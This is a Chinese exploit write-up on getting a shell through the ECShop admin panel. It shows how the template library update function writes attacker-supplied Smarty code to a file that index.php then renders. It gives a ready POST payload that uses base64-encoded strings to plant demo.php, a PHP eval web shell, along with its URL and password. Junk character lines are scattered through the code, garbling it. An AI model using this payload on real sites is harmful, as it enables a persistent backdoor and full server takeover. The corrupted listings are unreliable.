Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板

1 A) ^2 a1 F" B' d# z' g5 ?/ ~' X而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
admin/template.php
% H) i$ ^8 t4 P+ j( w& V8 _
1 if ($_REQUEST['act'] == 'update_library')

2   

0 b; ~9 ~' s4 j* ?( g+ h3 {
, X( M0 O2 A6 c8 R
4     check_authz_json('library_manage');

5   
$ q# r$ S6 r5 G6 x  k
# V+ l6 N+ A- ^6     $html = stripslashes(json_str_iconv($_POST['html']));

7   
. ]6 Q9 O: y3 p- }& J9 b# Z
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件

2 j* h8 w6 I, c8 x# k9   

10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
' y+ H+ q4 _, \1 r
11   
% C7 w) K, U2 S0 v
( y1 k0 c( X2 {+ X' {12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));

13   

( i3 [! u: W4 P$ B' n1 L# u14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
5 R& L3 X0 D4 y, C* Y
15     {
1 k- P7 k9 m  J3 o- |5 C
: F/ o6 l0 Y) [) `$ @6 g16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
3 m; y5 O% y; k1 ?  a! o7 I& H
3 B: a0 ^1 {# B, s: y0 ~, O8 ?6 _17         make_json_result('', $_LANG['update_lib_success']);

" N- ~! _8 d( p6 I2 |% I6 x18     }

19     else

20     {
: d' e: R! v8 Z- i8 Y
$ z7 e9 B6 e# H- d" y0 Q' `5 S21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
# W- C( U% f$ N+ O& F
/ ?) O7 B9 b7 `0 `/ ?8 v( L' f22     }
- k4 I/ _) A; H
$ b$ f: J" D2 Q- h23 }

那么找个比较方便调用了模板的文件
7 d2 m1 T. M2 I  ~index.php

1 if ($act == 'cat_rec')
0 F1 u; [: ^( g5 G+ a1 p/ r- \7 ^' T
2   
7 J) j" a. m) v  ~8 l& p
3 {

7 {" b" x) H, h5 x! u& c4   

5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
* J# G* m# ^0 V8 L( c8 L4 m
+ g% I" U( J  K% v! v6   

7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
% p" U2 c- d7 _* ~
* M2 r! x+ ]7 T6 ]/ ]7 t6 @. \8   
) U" m% U1 r) G. _: k1 G
( J2 T& o$ r4 J7 |; _; O9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';

2 u8 f: K6 k0 P0 n3 t/ m10   

: }+ ^: ~5 o7 p9 z& x/ ?11     include_once('includes/cls_json.php');
( a  n3 _4 S: t& P  q
12   

13     $json = new JSON;
5 ^% [; y$ E8 A6 T0 j9 {5 m
14   

15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);

16   

17     $children = get_children($cat_id);
# I0 c' t9 [( L( c) B2 U* B# ~& P
18   
7 ^  @3 f( ]$ Y8 Y( F& }
5 A" \7 T2 \; M" e" N( b$ t19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
! d; N, [5 \5 Q/ V- h% J
8 t. b2 E0 y3 w, ^20   
9 m/ s- R. n+ [* u8 z
21     $smarty->assign('cat_rec_sign', 1);
% Q$ l3 g% \8 v2 B- v! D1 v/ Z% F
& |) X  i5 u8 U/ V/ X22   

" p0 n) B# Q8 p2 O, m8 T23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best

( |) l' c7 H9 [2 s2 q1 J7 h# r24   
5 {* P7 }$ r* t1 O
0 K/ [( J' R& h0 i5 J/ f, v25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';

26   
6 @+ J* z+ _& C% Z& A6 O4 x) T
27         echo $rec_array[$rec_type];
# d) g% k& O5 n+ j; u9 f5 n8 Q8 |. S' [
- [4 D9 q: {- z3 c& u  i4 T28   
8 n6 H7 x1 M7 N, Z! u
" g6 D$ E9 h7 z8 S; z% M1 ^29     die($json->encode($result));

30   

% t0 L- _7 k: e" F% n31 }
% T% z- ~1 Q; S/ j
( h" L+ M; Y1 c7 y( c那么就有利用方法了
post包到http://localhost/ec/admin/template.php?act=update_library
/ ?( |% }9 {  w& f" TPost内容：
7 A3 w  M: P- s) ~
​
- D6 t; K6 r9 D7 h7 t# M4 r, c1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}

然后访问http://localhost/ec/index.php?act=cat_rec
2 R; r+ e4 ]0 _& [  D
shel地址：http://localhost/ec/demo.php
9 v9 X8 t0 r8 b密码c